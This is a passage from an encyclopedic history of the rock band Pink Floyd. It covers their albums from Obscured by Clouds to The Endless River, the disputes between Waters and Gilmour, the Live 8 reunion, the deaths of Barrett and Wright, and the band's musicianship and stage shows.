The songs on Obscured by Clouds were all short and economical, with a strong country music influence. The album also featured the EMS VCS 3 synthesiser, which Wright had purchased from the BBC Radiophonic Workshop. "Burning Bridges" was one of two songwriting collaborations between Wright and Waters. "Childhood's End" was the last song Pink Floyd released to have lyrics written by Gilmour until the release of A Momentary Lapse of Reason in 1987. "Free Four" was the first Pink Floyd song since "See Emily Play" to attract significant airplay in the US, and the second to refer to the death of Waters' father during World War II. "Stay" was written and sung by Wright, with lyrics by Waters. The closing instrumental on the album ends with a recording of the Mapuga tribe chanting, as seen in the film.
The Dark Side of the Moon (1973)
Pink Floyd recorded The Dark Side of the Moon between May 1972 and January 1973 with EMI staff engineer Alan Parsons at Abbey Road. The title is an allusion to lunacy rather than astronomy. The band had composed and refined the material while touring the UK, Japan, North America, and Europe. Producer Chris Thomas assisted Parsons. Hipgnosis designed the packaging, which included George Hardie's iconic refracting prism design on the cover. Thorgerson's cover features a beam of white light, representing unity, passing through a prism, which represents society. The refracted beam of coloured light symbolises unity diffracted, leaving an absence of unity. Waters is the sole author of the lyrics.
Released in March 1973, the LP became an instant chart success in the UK and throughout Western Europe, earning an enthusiastic response from critics. Each member of Pink Floyd except Wright boycotted the press release of The Dark Side of the Moon because a quadraphonic mix had not yet been completed, and they felt presenting the album through a poor-quality stereo PA system was insufficient. Melody Maker Roy Hollingworth described side one as "utterly confused ... [and] difficult to follow", but praised side two, writing: "The songs, the sounds ... [and] the rhythms were solid ... [the] saxophone hit the air, the band rocked and rolled". Rolling Stone Loyd Grossman described it as "a fine album with a textural and conceptual richness that not only invites, but demands involvement."
Throughout March 1973, The Dark Side of the Moon featured as part of Pink Floyd's US tour. The album is one of the most commercially successful rock albums of all time. A US number-one, it remained on the Billboard Top LPs & Tape chart for more than fourteen years during the 1970s and 1980s, selling more than 45 million copies worldwide. In Britain, it reached number two, spending 364 weeks on the UK chart. The Dark Side of the Moon is the world's third best-selling album, and the twenty-first best-selling album of all time in the US. The success of the album brought enormous wealth to the members of Pink Floyd. Waters and Wright bought large country houses while Mason became a collector of expensive cars. Disenchanted with their US record company, Capitol Records, Pink Floyd and O'Rourke negotiated a new contract with Columbia Records, who gave them a reported advance of $1,000,000 (US$ in dollars). In Europe, they continued to be represented by Harvest Records.
Wish You Were Here (1975)
After a tour of the UK performing Dark Side, Pink Floyd returned to the studio in January 1975 and began work on their ninth studio album, Wish You Were Here. Parsons declined an offer to continue working with them, becoming successful in his own right with the Alan Parsons Project, and so the band turned to Brian Humphries. Initially, they found it difficult to compose new material; the success of The Dark Side of the Moon had left Pink Floyd physically and emotionally drained. Wright later described these early sessions as "falling within a difficult period" and Waters found them "tortuous". Gilmour was more interested in improving the band's existing material. Mason's failing marriage left him in a general malaise and with a sense of apathy, both of which interfered with his drumming.
Despite the lack of creative direction, Waters began to visualise a new concept after several weeks. During 1974, Pink Floyd had sketched out three original compositions and had performed them at a series of concerts in Europe. These compositions became the starting point for a new album whose opening four-note guitar phrase, composed purely by chance by Gilmour, reminded Waters of Barrett. The songs provided a fitting summary of the rise and fall of their former bandmate. Waters commented: "Because I wanted to get as close as possible to what I felt ... [that] indefinable, inevitable melancholy about the disappearance of Syd."
While Pink Floyd were working on the album, Barrett made an impromptu visit to the studio. Thorgerson recalled that he "sat round and talked for a bit, but he wasn't really there". He had changed significantly in appearance, so much so that the band did not initially recognise him. Waters was reportedly deeply upset by the experience. Most of Wish You Were Here premiered on 5 July 1975, at an open-air music festival at Knebworth. Released in September, it reached number one in both the UK and the US.
Animals (1977)
In 1975, Pink Floyd bought a three-storey group of church halls at 35 Britannia Row in Islington and began converting them into a recording studio and storage space. In 1976, they recorded their tenth album, Animals, in their newly finished 24-track studio. The album concept originated with Waters, loosely based on George Orwell's political fable Animal Farm. The lyrics describe different classes of society as dogs, pigs, and sheep. Hipgnosis received credit for the packaging; however, Waters designed the final concept, choosing an image of the ageing Battersea Power Station, over which they superimposed an image of a pig.
The division of royalties was a source of conflict between band members, who earned royalties on a per-song basis. Although Gilmour was largely responsible for "Dogs", which took up almost the entire first side of the album, he received less than Waters, who contributed the much shorter two-part "Pigs on the Wing". Wright commented: "It was partly my fault because I didn't push my material ... but Dave did have something to offer, and only managed to get a couple of things on there." Mason recalled: "Roger was in full flow with the ideas, but he was really keeping Dave down, and frustrating him deliberately." Gilmour, distracted by the birth of his first child, contributed little else toward the album. Similarly, neither Mason nor Wright contributed much toward Animals; Wright had marital problems, and his relationship with Waters was also suffering. Animals was the first Pink Floyd album with no writing credit for Wright, who said: "This was when Roger really started to believe that he was the sole writer for the band ... that it was only because of him that [we] were still going ... when he started to develop his ego trips, the person he would have his conflicts with would be me."
Released in January 1977, Animals reached number two in the UK and number three in the US. NME described it as "one of the most extreme, relentless, harrowing and downright iconoclastic hunks of music", and Melody Maker Karl Dallas called it "[an] uncomfortable taste of reality in a medium that has become in recent years, increasingly soporific".
Pink Floyd performed much of Animals during their "In the Flesh" tour. It was their first experience playing large stadiums, whose size caused unease in the band. Waters began arriving at each venue alone, departing immediately after the performance. On one occasion, Wright flew back to England, threatening to quit. At the Montreal Olympic Stadium, a group of noisy and enthusiastic fans in the front row of the audience irritated Waters so much that he spat at one of them. The end of the tour marked a low point for Gilmour, who felt that the band achieved the success they had sought, with nothing left for them to accomplish.
1978–1985: Waters-led era
The Wall (1979)
In July 1978, amid a financial crisis caused by negligent investments, Waters presented two ideas for Pink Floyd's next album. The first was a 90-minute demo with the working title Bricks in the Wall; the other later became Waters's first solo album, The Pros and Cons of Hitch Hiking. Although both Mason and Gilmour were initially cautious, they chose the former. Bob Ezrin co-produced and wrote a forty-page script for the new album. Ezrin based the story on the central figure of Pink—a gestalt character inspired by Waters's childhood experiences, the most notable of which was the death of his father in World War II. This first metaphorical brick led to more problems; Pink would become drug-addled and depressed by the music industry, eventually transforming into a megalomaniac, a development inspired partly by the decline of Syd Barrett. At the end of the album, the increasingly fascist audience would watch as Pink tore down the wall, once again becoming a regular and caring person.
During the recording of The Wall, the band became dissatisfied with Wright's lack of contribution and fired him. Gilmour said that Wright was dismissed as he "hadn't contributed anything of any value whatsoever to the album—he did very, very little". According to Mason, Wright would sit in on the sessions "without doing anything, just 'being a producer. Waters said the band agreed that Wright would either have to "have a long battle" or agree to "leave quietly" after the album was finished; Wright accepted the ultimatum and left.
The Wall was supported by Pink Floyd's first single since "Money", "Another Brick in the Wall (Part II)", which topped the charts in the US and the UK. The Wall was released on 30 November 1979 and topped the Billboard chart in the US for 15 weeks, reaching number three in the UK. It is tied for sixth most certified album by RIAA, with 23 million certified units sold in the US. The cover, with a stark brick wall and band name, was the first Pink Floyd album cover since The Piper at the Gates of Dawn not designed by Hipgnosis.
Gerald Scarfe produced a series of animations for the Wall tour. He also commissioned the construction of large inflatable puppets representing characters from the storyline, including the "Mother", the "Ex-wife" and the "Schoolmaster". Pink Floyd used the puppets during their performances. Relationships within the band reached an all-time low; their four Winnebagos parked in a circle, the doors facing away from the centre. Waters used his own vehicle to arrive at the venue and stayed in different hotels from the rest of the band. Wright returned as a paid musician, making him the only band member to profit from the tour, which lost about $600,000 (US$ in dollars).
The Wall was adapted into a film, Pink Floyd – The Wall. The film was conceived as a combination of live concert footage and animated scenes; however, the concert footage proved impractical to film. Alan Parker agreed to direct and took a different approach. The animated sequences remained, but scenes were acted by actors with no dialogue. Waters was screentested but quickly discarded, and they asked Bob Geldof to accept the role of Pink. Geldof was initially dismissive, condemning The Wall storyline as "bollocks". Eventually won over by the prospect of participation in a significant film and receiving a large payment for his work, Geldof agreed. Screened at the Cannes Film Festival in May 1982, Pink Floyd – The Wall premièred in the UK in July 1982.
The Final Cut (1983)
In 1982, Waters suggested a project with the working title Spare Bricks, originally conceived as the soundtrack album for Pink Floyd – The Wall. With the onset of the Falklands War, Waters changed direction and began writing new material. He saw Margaret Thatcher's response to the invasion of the Falklands as jingoistic and unnecessary, and dedicated the album to his late father. Immediately arguments arose between Waters and Gilmour, who felt that the album should include all new material, rather than recycle songs passed over for The Wall. Waters felt that Gilmour had contributed little to the band's lyrical repertoire. Michael Kamen, a contributor to the orchestral arrangements of The Wall, mediated between the two, also performing the role traditionally occupied by the then-absent Wright. The tension within the band grew. Waters and Gilmour worked independently; however, Gilmour began to feel the strain, sometimes barely maintaining his composure. After a final confrontation, Gilmour's name disappeared from the credit list, reflecting what Waters felt was his lack of songwriting contributions.
Though Mason's musical contributions were minimal, he stayed busy recording sound effects for an experimental Holophonic system to be used on the album. With marital problems of his own, he remained a distant figure. Pink Floyd did not use Thorgerson for the cover design, Waters choosing to design the cover himself. Released in March 1983, The Final Cut went straight to number one in the UK and number six in the US. Waters wrote all the lyrics, as well as all the music on the album. Gilmour did not have any material ready for the album and asked Waters to delay the recording until he could write some songs, but Waters refused. Gilmour later commented: "I'm certainly guilty at times of being lazy ... but he wasn't right about wanting to put some duff tracks on The Final Cut." Rolling Stone gave the album five stars, with Kurt Loder calling it "a superlative achievement ... art rock's crowning masterpiece". Loder viewed The Final Cut as "essentially a Roger Waters solo album".
Waters's departure and legal battles
Gilmour recorded his second solo album, About Face, in 1984, and used it to express his feelings about a variety of topics, from the murder of John Lennon to his relationship with Waters. He later stated that he used the album to distance himself from Pink Floyd. Soon afterwards, Waters began touring his first solo album, The Pros and Cons of Hitch Hiking (1984). Wright formed Zee with Dave Harris and recorded Identity, which went almost unnoticed upon its release. Mason released his second solo album, Profiles, in August 1985.
Gilmour, Mason, Waters and O'Rourke met for dinner in 1984 to discuss their future. Mason and Gilmour left the restaurant thinking that Pink Floyd could continue after Waters had finished The Pros and Cons of Hitch Hiking, noting that they had had several hiatuses before; however, Waters left believing that Mason and Gilmour had accepted that Pink Floyd were finished. Mason said that Waters later saw the meeting as "duplicity rather than diplomacy", and wrote in his memoir: "Clearly, our communication skills were still troublingly nonexistent. We left the restaurant with diametrically opposed views of what had been decided."
Following the release of The Pros and Cons of Hitch Hiking, Waters publicly insisted that Pink Floyd would not reunite. He contacted O'Rourke to discuss settling future royalty payments. O'Rourke felt obliged to inform Mason and Gilmour, which angered Waters, who wanted to dismiss him as the band's manager. He terminated his management contract with O'Rourke and employed Peter Rudge to manage his affairs. Waters wrote to EMI and Columbia announcing he had left the band, and asked them to release him from his contractual obligations. Gilmour believed that Waters left to hasten the demise of Pink Floyd. Waters later stated that, by not making new albums, Pink Floyd would be in breach of contract—which would suggest that royalty payments would be suspended—and that the other band members had forced him from the group by threatening to sue him. He went to the High Court in an effort to dissolve the band and prevent the use of the Pink Floyd name, declaring Pink Floyd "a spent force creatively".
When Waters's lawyers discovered that the partnership had never been formally confirmed, Waters returned to the High Court in an attempt to obtain a veto over further use of the band's name. Gilmour responded with a press release affirming that Pink Floyd would continue to exist. The sides reached an out-of-court agreement, finalised on Gilmour's houseboat, the Astoria, on Christmas Eve 1987. In 2013, Waters said he regretted the lawsuit and had failed to appreciate that the Pink Floyd name had commercial value independent of the band members.
1985–present: Gilmour-led era
A Momentary Lapse of Reason (1987)
In 1986, Gilmour began recruiting musicians for what would become Pink Floyd's first album without Waters, A Momentary Lapse of Reason. There were legal obstacles to Wright's re-admittance to the band, but after a meeting in Hampstead, Pink Floyd invited Wright to participate in the coming sessions. Gilmour later stated that Wright's presence "would make us stronger legally and musically", and Pink Floyd employed him with weekly earnings of $11,000.
Recording sessions began on Gilmour's houseboat, the Astoria, moored along the River Thames. The group found it difficult to work without Waters's creative direction; to write lyrics, Gilmour worked with several songwriters, including Eric Stewart and Roger McGough, eventually choosing Anthony Moore. Wright and Mason were out of practice; Gilmour said they had been "destroyed" by Waters, and their contributions were minimal.
A Momentary Lapse of Reason was released in September 1987. Storm Thorgerson, whose creative input was absent from The Wall and The Final Cut, designed the album cover. To drive home that Waters had left the band, they included a group photograph on the inside cover, the first since Meddle. The album went straight to number three in the UK and the US. Waters commented: "I think it's facile, but a quite clever forgery ... The songs are poor in general ... [and] Gilmour's lyrics are third-rate." Although Gilmour initially viewed the album as a return to the band's top form, Wright disagreed, stating: "Roger's criticisms are fair. It's not a band album at all." Q described it as essentially a Gilmour solo album.
Waters attempted to subvert the Momentary Lapse of Reason tour by contacting promoters in the US and threatening to sue if they used the Pink Floyd name. Gilmour and Mason funded the start-up costs with Mason using his Ferrari 250 GTO as collateral. Early rehearsals for the tour were chaotic, with Mason and Wright out of practice. Realising he had taken on too much work, Gilmour asked Ezrin to assist them. As Pink Floyd toured North America, Waters's Radio K.A.O.S. tour was on occasion, close by, in much smaller venues. Waters issued a writ for copyright fees for Pink Floyd's use of the flying pig. Pink Floyd responded by attaching a large set of male genitalia to its underside to distinguish it from Waters's design. The parties reached a legal agreement on 23 December; Mason and Gilmour retained the right to use the Pink Floyd name in perpetuity and Waters received exclusive rights to, among other things, The Wall.
The Division Bell (1994)
For several years, Pink Floyd had busied themselves with personal pursuits, such as filming and competing in the La Carrera Panamericana and recording a soundtrack for a film based on the event. In January 1993, they began working on a new album, The Division Bell, in Britannia Row Studios, where Gilmour, Mason and Wright worked collaboratively, improvising material. After about two weeks, they had enough ideas to begin creating songs. Ezrin returned to co-produce the album and production moved to the Astoria, where the band worked from February to May 1993.
Contractually, Wright was not a member of the band, and said "It came close to a point where I wasn't going to do the album". However, he earned five co-writing credits, his first on a Pink Floyd album since 1975's Wish You Were Here. Gilmour's future wife, the novelist Polly Samson, is also credited; she helped Gilmour write tracks including "High Hopes", a collaborative arrangement which, though initially tense, "pulled the whole album together", according to Ezrin. They hired Michael Kamen to arrange the orchestral parts; Dick Parry and Chris Thomas also returned. The writer Douglas Adams provided the album title and Thorgerson the cover artwork. Thorgerson drew inspiration from the Moai monoliths of Easter Island; two opposing faces forming an implied third face about which he commented: "the absent face—the ghost of Pink Floyd's past, Syd and Roger". To avoid competing against other album releases, as had happened with A Momentary Lapse, Pink Floyd set a deadline of April 1994, at which point they would resume touring. The Division Bell reached number 1 in the UK and the US, and spent 51 weeks on the UK chart.
Pink Floyd spent more than two weeks rehearsing in a hangar at Norton Air Force Base in San Bernardino, California, before opening on 29 March 1994, in Miami, with an almost identical road crew to that used for their Momentary Lapse of Reason tour. They played a variety of Pink Floyd favourites, and later changed their setlist to include The Dark Side of the Moon in its entirety. The tour, Pink Floyd's last, ended on 29 October 1994. Mason published a memoir, Inside Out: A Personal History of Pink Floyd, in 2004.
2005–2006: Live 8 reunion
On 2 July 2005, Waters, Gilmour, Mason, and Wright performed together as Pink Floyd at Live 8, a benefit concert raising awareness about poverty, in Hyde Park, London. It was their first performance together in more than 24 years. The reunion was arranged by the Live 8 organiser, Bob Geldof. After Gilmour declined, Geldof asked Mason, who contacted Waters. About two weeks later, Waters called Gilmour, their first conversation in two years, and the next day Gilmour agreed. In a statement to the press, the band stressed the unimportance of their problems in the context of the Live 8 event.
The group planned their setlist at the Connaught hotel in London, followed by three days of rehearsals at Black Island Studios. The sessions were problematic, with disagreements over the style and pace of the songs they were practising; the running order was decided on the eve of the event. At the beginning of their performance of "Wish You Were Here", Waters told the audience: "[It is] quite emotional, standing up here with these three guys after all these years, standing to be counted with the rest of you ... We're doing this for everyone who's not here, and particularly of course for Syd." At the end, Gilmour thanked the audience and started to walk off the stage. Waters called him back, and the band shared a hug. Images of the hug were a favourite among Sunday newspapers after Live 8. Waters said of their almost 20 years of animosity: "I don't think any of us came out of the years from 1985 with any credit ... It was a bad, negative time, and I regret my part in that negativity."
Though Pink Floyd turned down a contract worth £136 million for a final tour, Waters did not rule out more performances, suggesting it ought to be for a charity event only. However, Gilmour told the Associated Press that a reunion would not happen: "The [Live 8] rehearsals convinced me it wasn't something I wanted to be doing a lot of ... There have been all sorts of farewell moments in people's lives and careers which they have then rescinded, but I think I can fairly categorically say that there won't be a tour or an album again that I take part in. It isn't to do with animosity or anything like that. It's just ... I've been there, I've done it."
In February 2006, Gilmour was interviewed for the Italian newspaper La Repubblica, which announced that Pink Floyd had officially disbanded. Gilmour said that Pink Floyd were "over", citing his advancing age and his preference for working alone. He and Waters repeatedly said that they had no plans to reunite.
2006–2008: deaths of Barrett and Wright
Barrett died on 7 July 2006, at his home in Cambridge, aged 60. His funeral was held at Cambridge Crematorium on 18 July 2006. No Pink Floyd members attended. Wright said: "The band are very naturally upset and sad to hear of Syd Barrett's death. Syd was the guiding light of the early band line-up and leaves a legacy which continues to inspire." Although Barrett had faded into obscurity over the decades, the national press praised him for his contributions to music. On 10 May 2007, Waters, Gilmour, Wright, and Mason performed at the Barrett tribute concert "Madcap's Last Laugh" at the Barbican Centre in London. Gilmour, Wright, and Mason performed the Barrett compositions "Bike" and "Arnold Layne", and Waters performed a solo version of his song "Flickering Flame".
Wright died of an undisclosed form of cancer on 15 September 2008, aged 65. His former bandmates paid tributes to his life and work; Gilmour said that Wright's contributions were often overlooked, and that his "soulful voice and playing were vital, magical components of our most recognised Pink Floyd sound". A week after Wright's death, Gilmour performed "Remember a Day" from A Saucerful of Secrets, written and originally sung by Wright, in tribute to him on BBC Two's Later... with Jools Holland. The keyboardist Keith Emerson released a statement praising Wright as the "backbone" of Pink Floyd.
2010–2011: further performances and rereleases
In March 2010, Pink Floyd went to the High Court of Justice to prevent EMI selling individual tracks online, arguing that their 1999 contract "prohibits the sale of albums in any configuration other than the original". The judge ruled in their favour, which the Guardian described as a "triumph for artistic integrity" and a "vindication of the album as a creative format". In January 2011, Pink Floyd signed a new five-year contract with EMI that permitted the sale of single downloads.
On 10 July 2010, Waters and Gilmour performed together at a charity event for the Hoping Foundation. The event, which raised money for Palestinian children, took place at Kiddington Hall in Oxfordshire, England, with an audience of approximately 200. In return for Waters's appearance at the event, Gilmour performed "Comfortably Numb" at Waters's performance of The Wall at the London O2 Arena on 12 May 2011, singing the choruses and playing the guitar solos. Mason also joined, playing tambourine for "Outside the Wall" with Gilmour on mandolin.
On 26 September 2011, Pink Floyd and EMI launched an exhaustive re-release campaign under the title Why Pink Floyd...?, reissuing the back catalogue in newly remastered versions, including "Experience" and "Immersion" multi-disc multi-format editions. The albums were remastered by James Guthrie, co-producer of The Wall. In November 2015, Pink Floyd released a limited edition EP, 1965: Their First Recordings, comprising six songs recorded prior to The Piper at the Gates of Dawn.
The Endless River (2014) and Nick Mason's Saucerful of Secrets
In November 2013, Gilmour and Mason revisited recordings made with Wright during the Division Bell sessions to create a new Pink Floyd album. They recruited session musicians to help record new parts and "generally harness studio technology". Waters was not involved. Mason described the album as a tribute to Wright: "I think this record is a good way of recognising a lot of what he does and how his playing was at the heart of the Pink Floyd sound. Listening back to the sessions, it really brought home to me what a special player he was."
The Endless River was released on 7 November 2014, the second Pink Floyd album distributed by Parlophone following the release of the 20th anniversary editions of The Division Bell earlier in 2014. Though it received mixed reviews, it became the most pre-ordered album of all time on Amazon UK and debuted at number one in several countries. The vinyl edition was the fastest-selling UK vinyl release of 2014 and the fastest-selling since 1997. Gilmour said The Endless River would be Pink Floyd's last album, saying: "I think we have successfully commandeered the best of what there is ... It's a shame, but this is the end." There was no supporting tour, as Gilmour felt it was impossible without Wright. In 2015, Gilmour reiterated that Pink Floyd were "done" and that to reunite without Wright would be wrong.
In November 2016, Pink Floyd released a box set, The Early Years 1965–1972, comprising outtakes, live recordings, remixes, and films from their early career. It was followed in December 2019 by The Later Years, compiling Pink Floyd's work after Waters's departure. The set includes a remixed version of A Momentary Lapse of Reason with more contributions by Wright and Mason, and an expanded reissue of the live album Delicate Sound of Thunder. In November 2020, the reissue of Delicate Sound of Thunder was given a standalone release on multiple formats. Pink Floyd's Live at Knebworth 1990 performance, previously released as part of the Later Years box set, was released on CD and vinyl on 30 April.
In 2018, Mason formed a new band, Nick Mason's Saucerful of Secrets, to perform Pink Floyd's early material. The band includes Gary Kemp of Spandau Ballet and the longtime Pink Floyd collaborator Guy Pratt. They toured Europe in September 2018 and North America in 2019. Waters joined the band at the New York Beacon Theatre to perform vocals for "Set the Controls for the Heart of the Sun".
2022–present: "Hey, Hey, Rise Up!" and conflicts
Mason said in 2018 that, while he remained close to Gilmour and Waters, the two remained "at loggerheads". A remixed version of Animals was delayed until 2022 after Gilmour and Waters could not agree on the liner notes. In a public statement, Waters accused Gilmour of attempting to steal credit and complained that Gilmour would not allow him to use Pink Floyd's website and social media channels. Rolling Stone noted that the pair seemed "to have hit yet another low point in their relationship".
In March 2022, Gilmour and Mason reunited as Pink Floyd, alongside Pratt and the keyboardist Nitin Sawhney, to record the single "Hey, Hey, Rise Up!", protesting Russian's invasion of Ukraine that February. It features vocals by the BoomBox singer Andriy Khlyvnyuk, taken from an Instagram video of Khlyvnyuk singing the 1914 Ukrainian anthem "Oh, the Red Viburnum in the Meadow" a cappella in Kyiv. Gilmour described Khlyvnyuk's performance as "a powerful moment that made me want to put it to music". "Hey, Hey, Rise Up!" was released on 8 April, with proceeds going to Ukrainian Humanitarian Relief. Gilmour said the war had inspired him to release new music as Pink Floyd as he felt it was important to raise awareness in support of Ukraine. He said "Hey, Hey, Rise Up!" was a "one-off for charity" and that Pink Floyd had no plans to reform.
Pink Floyd removed music from streaming services in Russia and Belarus. Their work with Waters remained, leading to speculation that Waters had blocked its removal; Gilmour said only that "I was disappointed ... Read into that what you will." Waters refused to condemn Russia's invasion of Ukraine and criticised "Hey, Hey, Rise Up!". Shortly afterwards, Gilmour and his wife, Polly Samson, condemned Waters on Twitter as "a lying, thieving, hypocritical, tax-avoiding, lip-synching, misogynistic, sick-with-envy megalomaniac". In March 2023, Variety reported that Pink Floyd had been seeking to sell their back catalogue for some time, but that it had been hampered by infighting.
Band members
Syd Barrett – lead and rhythm guitars, vocals (1965–1968) (died 2006)
David Gilmour – lead and rhythm guitars, vocals, bass, keyboards, synthesisers (1967–present)
Roger Waters – bass, vocals, rhythm guitar, synthesisers (1965–1985)
Richard Wright – keyboards, piano, organ, synthesisers, vocals (1965–1981, 1987–2008) (died 2008)
Nick Mason – drums, percussion (1965–present)
Musicianship
Genres
Considered one of the UK's first psychedelic music groups, Pink Floyd began their career at the vanguard of London's underground music scene, appearing at UFO Club and its successor Middle Earth. According to Rolling Stone: "By 1967, they had developed an unmistakably psychedelic sound, performing long, loud suitelike compositions that touched on hard rock, blues, country, folk, and electronic music." Released in 1968, the song "Careful with That Axe, Eugene" helped galvanise their reputation as an art rock group. Other genres attributed to the band are space rock, experimental rock, acid rock, proto-prog, experimental pop (while under Barrett), psychedelic pop, and psychedelic rock. O'Neill Surber comments on the music of Pink Floyd:
Rarely will you find Floyd dishing up catchy hooks, tunes short enough for air-play, or predictable three-chord blues progressions; and never will you find them spending much time on the usual pop album of romance, partying, or self-hype. Their sonic universe is expansive, intense, and challenging ... Where most other bands neatly fit the songs to the music, the two forming a sort of autonomous and seamless whole complete with memorable hooks, Pink Floyd tends to set lyrics within a broader soundscape that often seems to have a life of its own ... Pink Floyd employs extended, stand-alone instrumentals which are never mere vehicles for showing off virtuoso but are planned and integral parts of the performance.
During the late 1960s, the press labelled Pink Floyd's music psychedelic pop, progressive pop and progressive rock; they gained a following as a psychedelic pop group. In 1968, Wright said: "It's hard to see why we were cast as the first British psychedelic group. We never saw ourselves that way ... we realised that we were, after all, only playing for fun ... tied to no particular form of music, we could do whatever we wanted ... the emphasis ... [is] firmly on spontaneity and improvisation." Waters said later: "There wasn't anything 'grand' about it. We were laughable. We were useless. We couldn't play at all so we had to do something stupid and 'experimental' ... Syd was a genius, but I wouldn't want to go back to playing 'Interstellar Overdrive' for hours and hours." Unconstrained by conventional pop formats, Pink Floyd were innovators of progressive rock during the 1970s and ambient music during the 1980s.
Gilmour's guitar work
Rolling Stone critic Alan di Perna praised Gilmour's guitar work as integral to Pink Floyd's sound, and described him as the most important guitarist of the 1970s, "the missing link between Hendrix and Van Halen". Rolling Stone named him the 14th greatest guitarist of all time. In 2006, Gilmour said of his technique: "[My] fingers make a distinctive sound ... [they] aren't very fast, but I think I am instantly recognisable ... The way I play melodies is connected to things like Hank Marvin and the Shadows." Gilmour's ability to use fewer notes than most to express himself without sacrificing strength or beauty drew a favourable comparison to jazz trumpeter Miles Davis.
In 2006, Guitar World writer Jimmy Brown described Gilmour's guitar style as "characterised by simple, huge-sounding riffs; gutsy, well-paced solos; and rich, ambient chordal textures." According to Brown, Gilmour's solos on "Money", "Time" and "Comfortably Numb" "cut through the mix like a laser beam through fog." Brown described the "Time" solo as "a masterpiece of phrasing and motivic development ... Gilmour paces himself throughout and builds upon his initial idea by leaping into the upper register with gut-wrenching one-and-one-half-step 'over bends', soulful triplet arpeggios and a typically impeccable bar vibrato." Brown described Gilmour's phrasing as intuitive and perhaps his best asset as a lead guitarist. Gilmour explained how he achieved his signature tone: "I usually use a fuzz box, a delay and a bright EQ setting ... [to get] singing sustain ... you need to play loud—at or near the feedback threshold. It's just so much more fun to play ... when bent notes slice right through you like a razor blade."
Sonic experimentation
Throughout their career, Pink Floyd experimented with their sound. Their second single, "See Emily Play" premiered at the Queen Elizabeth Hall in London, on 12 May 1967. During the performance, the group first used an early quadraphonic device called an Azimuth Co-ordinator. The device enabled the controller, usually Wright, to manipulate the band's amplified sound, combined with recorded tapes, projecting the sounds 270 degrees around a venue, achieving a sonic swirling effect. In 1972, they purchased a custom-built PA which featured an upgraded four-channel, 360-degree system.
Waters experimented with the VCS 3 synthesiser on Pink Floyd pieces such as "On the Run", "Welcome to the Machine", and "In the Flesh?". He used a binson echorec 2 delay effect on his bass-guitar track for "One of These Days".
Pink Floyd used innovative sound effects and state of the art audio recording technology during the recording of The Final Cut. Mason's contributions to the album were almost entirely limited to work with the experimental Holophonic system, an audio processing technique used to simulate a three-dimensional effect. The system used a conventional stereo tape to produce an effect that seemed to move the sound around the listener's head when they were wearing headphones. The process enabled an engineer to simulate moving the sound to behind, above or beside the listener's ears.
Film scores
Pink Floyd also composed several film scores, starting in 1968, with The Committee. In 1969, they recorded the score for Barbet Schroeder's film More. The soundtrack proved beneficial: not only did it pay well but, along with A Saucerful of Secrets, the material they created became part of their live shows for some time thereafter. While composing the soundtrack for director Michelangelo Antonioni's film Zabriskie Point, the band stayed at a luxury hotel in Rome for almost a month. Waters claimed that, without Antonioni's constant changes to the music, they would have completed the work in less than a week. Eventually he used only three of their recordings. One of the pieces turned down by Antonioni, called "The Violent Sequence", later became "Us and Them", included on 1973's The Dark Side of the Moon. In 1971, the band again worked with Schroeder on the film La Vallée, for which they released a soundtrack album called Obscured by Clouds. They composed the material in about a week at the Château d'Hérouville near Paris, and upon its release, it became Pink Floyd's first album to break into the top 50 on the US Billboard chart.
Live performances
Regarded as pioneers of live music performance and renowned for their lavish stage shows, Pink Floyd also set high standards in sound quality, making use of innovative sound effects and quadraphonic speaker systems. From their earliest days, they employed visual effects to accompany their psychedelic music while performing at venues such as the UFO Club in London. Their slide-and-light show was one of the first in British rock, and it helped them become popular among London's underground.
To celebrate the launch of the London Free School's magazine International Times in 1966, they performed in front of 2,000 people at the opening of the Roundhouse, attended by celebrities including Paul McCartney and Marianne Faithfull. In mid-1966, road manager Peter Wynne-Willson joined their road crew, and updated the band's lighting rig with some innovative ideas including the use of polarisers, mirrors and stretched condoms. After their record deal with EMI, Pink Floyd purchased a Ford Transit van, then considered extravagant band transportation. On 29 April 1967, they headlined an all-night event called The 14 Hour Technicolour Dream at the Alexandra Palace, London. Pink Floyd arrived at the festival at around three o'clock in the morning after a long journey by van and ferry from the Netherlands, taking the stage just as the sun was beginning to rise. In July 1969, precipitated by their space-related music and lyrics, they took part in the live BBC television coverage of the Apollo 11 Moon landing, performing an instrumental piece which they called "Moonhead".
In November 1974, they employed for the first time the large circular screen that would become a staple of their live shows. In 1977, they employed the use of a large inflatable floating pig named "Algie". Filled with helium and propane, Algie, while floating above the audience, would explode with a loud noise during the In the Flesh Tour. The behaviour of the audience during the tour, as well as the large size of the venues, proved a strong influence on their concept album The Wall. The subsequent The Wall Tour featured a high wall, built from cardboard bricks, constructed between the band and the audience. They projected animations onto the wall, while gaps allowed the audience to view various scenes from the story. They commissioned the creation of several giant inflatables to represent characters from the story. One striking feature of the tour was the performance of "Comfortably Numb". While Waters sang his opening verse, in darkness, Gilmour waited for his cue on top of the wall. When it came, bright blue and white lights would suddenly reveal him. Gilmour stood on a flightcase on castors, an insecure setup supported from behind by a technician. A large hydraulic platform supported both Gilmour and the tech.
During the Division Bell Tour, an unknown person using the name Publius posted a message on an internet newsgroup inviting fans to solve a riddle supposedly concealed in the new album. White lights in front of the stage at the Pink Floyd concert in East Rutherford spelled out the words Enigma Publius. During a televised concert at Earls Court on 20 October 1994, someone projected the word "enigma" in large letters on to the backdrop of the stage. Mason later acknowledged that their record company had instigated the Publius Enigma mystery, rather than the band.
Lyrical themes
Marked by Waters's philosophical lyrics, Rolling Stone described Pink Floyd as "purveyors of a distinctively dark vision". Author Jere O'Neill Surber wrote: "their interests are truth and illusion, life and death, time and space, causality and chance, compassion and indifference." Waters identified empathy as a central theme in the lyrics of Pink Floyd. Author George Reisch described Meddle psychedelic opus, "Echoes", as "built around the core idea of genuine communication, sympathy, and collaboration with others." Despite having been labelled "the gloomiest man in rock", author Deena Weinstein described Waters as an existentialist, dismissing the unfavourable moniker as the result of misinterpretation by music critics.
Disillusionment, absence, and non-being
Waters's lyrics to Wish You Were Here "Have a Cigar" deal with a perceived lack of sincerity on the part of music industry representatives. The song illustrates a dysfunctional dynamic between the band and a record label executive who congratulates the group on their current sales success, implying that they are on the same team while revealing that he erroneously believes "Pink" is the name of one of the band members. According to author David Detmer, the album's lyrics deal with the "dehumanising aspects of the world of commerce", a situation the artist must endure to reach their audience.
